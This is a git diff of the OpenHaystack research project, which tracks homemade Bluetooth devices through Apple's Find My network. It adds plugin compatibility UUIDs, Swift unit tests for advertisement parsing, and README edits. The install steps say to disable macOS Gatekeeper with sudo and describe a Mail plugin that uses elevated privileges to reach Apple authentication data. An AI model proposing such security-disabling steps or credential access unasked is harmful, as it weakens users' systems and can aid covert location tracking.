-	</array>
+    <key>Supported10.14PluginCompatibilityUUIDs</key>
+        <array>
+            <string># UUIDs for versions from 10.12 to 99.99.99</string>
+            <string># For mail version 10.0 (3226) on OS X Version 10.12 (build 16A319)</string>
+            <string>36CCB8BB-2207-455E-89BC-B9D6E47ABB5B</string>
+            <string># For mail version 10.1 (3251) on OS X Version 10.12.1 (build 16B2553a)</string>
+            <string>9054AFD9-2607-489E-8E63-8B09A749BC61</string>
+            <string># For mail version 10.2 (3259) on OS X Version 10.12.2 (build 16D12b)</string>
+            <string>1CD3B36A-0E3B-4A26-8F7E-5BDF96AAC97E</string>
+            <string># For mail version 10.3 (3273) on OS X Version 10.12.4 (build 16G1036)</string>
+            <string>21560BD9-A3CC-482E-9B99-95B7BF61EDC1</string>
+            <string># For mail version 11.0 (3441.0.1) on OS X Version 10.13 (build 17A315i)</string>
+            <string>C86CD990-4660-4E36-8CDA-7454DEB2E199</string>
+            <string># For mail version 12.0 (3445.100.39) on OS X Version 10.14.1 (build 18B45d)</string>
+            <string>A4343FAF-AE18-40D0-8A16-DFAE481AF9C1</string>
+            <string># For mail version 13.0 (3594.4.2) on OS X Version 10.15 (build 19A558d)</string>
+            <string>6EEA38FB-1A0B-469B-BB35-4C2E0EEA9053</string>
+        </array>
+        <key>Supported10.15PluginCompatibilityUUIDs</key>
+        <array>
+            <string># UUIDs for versions from 10.12 to 99.99.99</string>
+            <string># For mail version 10.0 (3226) on OS X Version 10.12 (build 16A319)</string>
+            <string>36CCB8BB-2207-455E-89BC-B9D6E47ABB5B</string>
+            <string># For mail version 10.1 (3251) on OS X Version 10.12.1 (build 16B2553a)</string>
+            <string>9054AFD9-2607-489E-8E63-8B09A749BC61</string>
+            <string># For mail version 10.2 (3259) on OS X Version 10.12.2 (build 16D12b)</string>
+            <string>1CD3B36A-0E3B-4A26-8F7E-5BDF96AAC97E</string>
+            <string># For mail version 10.3 (3273) on OS X Version 10.12.4 (build 16G1036)</string>
+            <string>21560BD9-A3CC-482E-9B99-95B7BF61EDC1</string>
+            <string># For mail version 11.0 (3441.0.1) on OS X Version 10.13 (build 17A315i)</string>
+            <string>C86CD990-4660-4E36-8CDA-7454DEB2E199</string>
+            <string># For mail version 12.0 (3445.100.39) on OS X Version 10.14.1 (build 18B45d)</string>
+            <string>A4343FAF-AE18-40D0-8A16-DFAE481AF9C1</string>
+            <string># For mail version 13.0 (3594.4.2) on OS X Version 10.15 (build 19A558d)</string>
+            <string>6EEA38FB-1A0B-469B-BB35-4C2E0EEA9053</string>
+        </array>
+        <key>Supported11.0PluginCompatibilityUUIDs</key>
+        <array>
+            <string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
+        </array>
+        <key>Supported11.10PluginCompatibilityUUIDs</key>
+        <array>
+            <string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
+        </array>
+        <key>Supported11.1PluginCompatibilityUUIDs</key>
+        <array>
+            <string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
+        </array>
+        <key>Supported11.2PluginCompatibilityUUIDs</key>
+        <array>
+            <string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
+        </array>
+        <key>Supported11.3PluginCompatibilityUUIDs</key>
+        <array>
+            <string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
+        </array>
+        <key>Supported11.4PluginCompatibilityUUIDs</key>
+        <array>
+            <string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
+        </array>
+        <key>Supported11.5PluginCompatibilityUUIDs</key>
+        <array>
+            <string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
+        </array>
+        <key>Supported11.6PluginCompatibilityUUIDs</key>
+        <array>
+            <string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
+        </array>
+        <key>Supported11.7PluginCompatibilityUUIDs</key>
+        <array>
+            <string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
+        </array>
+        <key>Supported11.8PluginCompatibilityUUIDs</key>
+        <array>
+            <string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
+        </array>
+        <key>Supported11.9PluginCompatibilityUUIDs</key>
+        <array>
+            <string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
+        </array>
+        <key>Supported12.0PluginCompatibilityUUIDs</key>
+        <array>
+            <string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
+            <string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
+        </array>
 </dict>
 </plist>

OpenHaystack/OpenHaystackTests/BluetoothTests.swift

@@ -0,0 +1,61 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+
+import CoreBluetooth
+import XCTest
+
+@testable import OpenHaystack
+
+class BluetoothTests: XCTestCase {
+
+    override func setUpWithError() throws {
+        // Put setup code here. This method is called before the invocation of each test method in the class.
+    }
+
+    override func tearDownWithError() throws {
+        // Put teardown code here. This method is called after the invocation of each test method in the class.
+    }
+
+    func testNoManufacturerData() throws {
+        let data: [String: Any] = [
+            "": Data()
+        ]
+        let adv = Advertisement(fromAdvertisementData: data)
+        XCTAssertNil(adv)
+    }
+
+    func testEmptyManufacturerData() throws {
+        let data: [String: Any] = [
+            CBAdvertisementDataManufacturerDataKey: Data()
+        ]
+        let adv = Advertisement(fromAdvertisementData: data)
+        XCTAssertNil(adv)
+    }
+
+    func testCorrectAdvertisement() throws {
+        let publicKey = "11111111111111111111111111111111111111111111".hexaData
+        let data = "4c00121900111111111111111111111111111111111111111111110100".hexaData
+        let adv = Advertisement(fromManufacturerData: data)
+        XCTAssertNotNil(adv)
+        XCTAssertEqual(adv?.publicKeyPayload, publicKey)
+    }
+}
+
+extension StringProtocol {
+    var hexaData: Data { .init(hexa) }
+    var hexaBytes: [UInt8] { .init(hexa) }
+    private var hexa: UnfoldSequence<UInt8, Index> {
+        sequence(state: startIndex) { startIndex in
+            guard startIndex < self.endIndex else { return nil }
+            let endIndex = self.index(startIndex, offsetBy: 2, limitedBy: self.endIndex) ?? self.endIndex
+            defer { startIndex = endIndex }
+            return UInt8(self[startIndex..<endIndex], radix: 16)
+        }
+    }
+}

README.md

@@ -25,8 +25,8 @@ OpenHaystack is a framework for tracking personal Bluetooth devices via Apple's
 
 ## What is _OpenHaystack_?
 
-OpenHaystack is an application that allows you to create your own tags that are tracked by Apple's [Find My network](#how-does-apples-find-my-network-work). All you need is a Mac and a [BBC micro:bit](https://microbit.org/) or any [other Bluetooth-capable device](#how-to-track-other-bluetooth-devices).
-By using the app, you can track your micro:bit tag anywhere on earth without cellular coverage. Nearby iPhones will discover your tag and upload their location to Apple's servers when they have a network connection.
+OpenHaystack is an application that allows you to create your own accessories that are tracked by Apple's [Find My network](#how-does-apples-find-my-network-work). All you need is a Mac and a [BBC micro:bit](https://microbit.org/) or any [other Bluetooth-capable device](#how-to-track-other-bluetooth-devices).
+By using the app, you can track your accessories anywhere on earth without cellular coverage. Nearby iPhones will discover your accessories and upload their location to Apple's servers when they have a network connection.
 
 ### History
 
@@ -37,7 +37,7 @@ Since its release, we received quite a bit of [press and media coverage](https:/
 
 ### Disclaimer
 
-OpenHaystack is experimental software. The code is untested and incomplete. For example, OpenHaystack tags using our [firmware](Firmware) broadcast a fixed public key and, therefore, are trackable by other devices in proximity (this might change in a future release). OpenHaystack is not affiliated with or endorsed by Apple Inc.
+OpenHaystack is experimental software. The code is untested and incomplete. For example, OpenHaystack accessories using our [firmware](Firmware) broadcast a fixed public key and, therefore, are trackable by other devices in proximity (this might change in a future release). OpenHaystack is not affiliated with or endorsed by Apple Inc.
 
 ## How to use _OpenHaystack_?
 
@@ -58,22 +58,18 @@ Our plugin does not access any other private data such as emails (see [source co
 2. Open OpenHaystack. This will ask you to install the Mail plugin in `~/Library/Mail/Bundle`.
 3. Open a terminal and run `sudo spctl --master-disable`, which will disable Gatekeeper and allow our Apple Mail plugin to run.
 4. Open Apple Mail. Go to _Preferences_ → _General_ → _Manage Plug-Ins..._ and activate the checkbox next to _OpenHaystackMail.mailbundle_.
+   * If the _Manage Plug-Ins..._ button does not appear. Run this command in terminal `sudo defaults write "/Library/Preferences/com.apple.mail" EnableBundles 1`
 5. Allow access and restart Mail.
 6. Open a terminal and enter `sudo spctl --master-enable`, which will enable Gatekeeper again.
 
 ### Usage
 
-**Adding a new tag.**
-To create a new tag, you just need to enter a name for it and optionally select a suitable icon and a color. The app then generates a new key pair that is used to encrypt and decrypt the location reports. The private key is stored in your Mac's keychain.
+**Adding a new accessory.**
+To create a new accessory, you just need to enter a name for it and optionally select a suitable icon and a color. The app then generates a new key pair that is used to encrypt and decrypt the location reports. The private key is stored in your Mac's keychain.
 
-**BBC Microbit**
-Upon deploying, the app will try to flash our firmware image with the new public key to a USB-connected [BBC micro:bit v1](https://microbit.org/).
-
-**ESP32**
-Since version 0.3.1 we also ship a simple ESP32 firmware that supports the same features as our firmware for the BBC micro:bit. To flash an ESP32 connect it via USB and select the correct serial port when deploying. It can take up to 3 minuites, a Python 3 version is required. 
-
-**Manual**
-However, you may also copy the public key used for advertising and deploy it via some other mechanism.
+**Deploy to device.**
+Connect a [supported device](#how-to-track-other-bluetooth-devices) via USB to your Mac and hit the _Deploy_ button next to the accessory's name and choose the corresponding.
+Instead of using OpenHaystack's integrated deployment, you may also copy the public key used for advertising (right click on accessory) and deploy it manually.
 
 **Display devices' locations.**
 It can take up to 30 minutes until you will see the first location report on the map on the right side. The map will always show all your items' most recent locations. You can click on every item to check when the last update was received.
@@ -87,12 +83,12 @@ We briefly explain Apple's offline finding system (aka [_Find My network_](https
 
 ### Pairing (1)
 
-To use Apple's Find My network, we generate a public-private key pair on an elliptic curve (P-224). The private key remains on the Mac securely stored in the keychain, and the public key will be deployed on the tag, e.g., an attached micro:bit.
+To use Apple's Find My network, we generate a public-private key pair on an elliptic curve (P-224). The private key remains on the Mac securely stored in the keychain, and the public key is deployed on the accessory, e.g., an attached micro:bit.
 
 ### Losing (2)
 
-In short, the tags broadcast the public key as Bluetooth Low Energy (BLE) advertisements (see [firmware](Firmware)).
-Nearby iPhones will not be able to distinguish our tags from a genuine Apple device or certified accessory.
+In short, the accessories broadcast the public key as Bluetooth Low Energy (BLE) advertisements (see [firmware](Firmware)).
+Nearby iPhones will not be able to distinguish our accessories from a genuine Apple device or certified accessory.
 
 ### Finding (3)
 
@@ -101,21 +97,22 @@ All iPhones on iOS 13 or newer do this by default. OpenHaystack is not involved
 
 ### Searching (4)
 
-Apple does not know which encrypted locations belong to which Apple account or device. Therefore, every Apple user can download any location report as long as they know the corresponding public key. This is not a security issue: all reports are end-to-end encrypted and cannot be decrypted unless one knows the corresponding private key (stored in the keychain). We leverage this feature to download the reports from Apple that have been created for our OpenHaystack tags. We use our private keys to decrypt the location reports and show the most recent one on the map.
+Apple does not know which encrypted locations belong to which Apple account or device. Therefore, every Apple user can download any location report as long as they know the corresponding public key. This is not a security issue: all reports are end-to-end encrypted and cannot be decrypted unless one knows the corresponding private key (stored in the keychain). We leverage this feature to download the reports from Apple that have been created for our OpenHaystack accessories. We use our private keys to decrypt the location reports and show the most recent one on the map.
 
 Apple protects their database against arbitrary access by requiring an authenticated Apple user to download location reports.
 We use our Apple Mail plugin, which runs with elevated privileges, to access the required authentication information. The OpenHaystack app communicates with the plugin while downloading reports. This is why you need to keep Mail open while using OpenHaystack.
 
 ## How to track other Bluetooth devices?
 
-Currently, we only provide a convenient deployment method of our OpenHaystack firmware for the BBC micro:bit.
-However, you should be able to implement the advertisements on other devices that support Bluetooth Low Energy based on the [source code of our firmware](Firmware) and the specification in [our paper](#references).
+In principle, any Bluetooth device can be turned into an OpenHaystack accessory that is trackable via Apple's Find My network.
+Currently, we provide a convenient deployment method of our OpenHaystack firmwares for a small number of embedded devices (see table below). We also support Linux devices via our generic HCI script.
+Feel free to port OpenHaystack to other devices that support Bluetooth Low Energy based on the [source code of our firmware](Firmware) and the specification in [our paper](#references). Please share your results with us!
 
-In addition, you can easily turn any Linux machine (including **Raspberry Pi**) into a _tag_ that can be tracked via the Find My network. Our Python script uses HCI calls to configure Bluetooth advertising. You can copy the required `ADVERTISMENT_KEY` from the app by right-clicking on your accessory. Then run the script:
-
-```bash
-sudo python3 HCI.py --key <ADVERTISMENT_KEY>
-```
+| Platform | Tested on | Deploy via app | Comment |
+|----------|-----------|:--------------:|---------|
+| [Nordic nRF51](Firmware/Microbit_v1) | BBC micro:bit v1 | ✓ | Only supports nRF51822 at this time (see issue #6). |
+| [Espressif ESP32](Firmware/ESP32) | SP32-WROOM, ESP32-WROVER | ✓ | Deployment can take up to 3 minutes. Requires Python 3. Thanks **@fhessel**. |
+| [Linux HCI](Firmware/Linux_HCI) | Raspberry Pi 4 w/ Raspbian | | Should support any Linux machine. |
 
 ![Setup](Resources/Setup.jpg)
 
@@ -126,7 +123,8 @@ sudo python3 HCI.py --key <ADVERTISMENT_KEY>
 
 ## References
 
-- Alexander Heinrich, Milan Stute, Tim Kornhuber, Matthias Hollick. **Who Can _Find My_ Devices? Security and Privacy of Apple's Crowd-Sourced Bluetooth Location Tracking System.** _Proceedings on Privacy Enhancing Technologies (PoPETs)_, 2021. [📄 Preprint](https://arxiv.org/abs/2103.02282).
+- Alexander Heinrich, Milan Stute, Tim Kornhuber, Matthias Hollick. **Who Can _Find My_ Devices? Security and Privacy of Apple's Crowd-Sourced Bluetooth Location Tracking System.** _Proceedings on Privacy Enhancing Technologies (PoPETs)_, 2021. [doi:10.2478/popets-2021-0045](https://doi.org/10.2478/popets-2021-0045) [📄 Paper](https://www.petsymposium.org/2021/files/papers/issue3/popets-2021-0045.pdf) [📄 Preprint](https://arxiv.org/abs/2103.02282).
+- Alexander Heinrich, Milan Stute, and Matthias Hollick. **DEMO: OpenHaystack: A Framework for Tracking Personal Bluetooth Devices via Apple’s Massive Find My Network.** _14th ACM Conference on Security and Privacy in Wireless and Mobile (WiSec ’21)_, 2021.
 - Tim Kornhuber. **Analysis of Apple's Crowd-Sourced Location Tracking System.** _Technical University of Darmstadt_, Master's thesis, 2020.
 - Apple Inc. **Find My Network Accessory Specification – Developer Preview – Release R3.** 2020. [📄 Download](https://developer.apple.com/find-my/).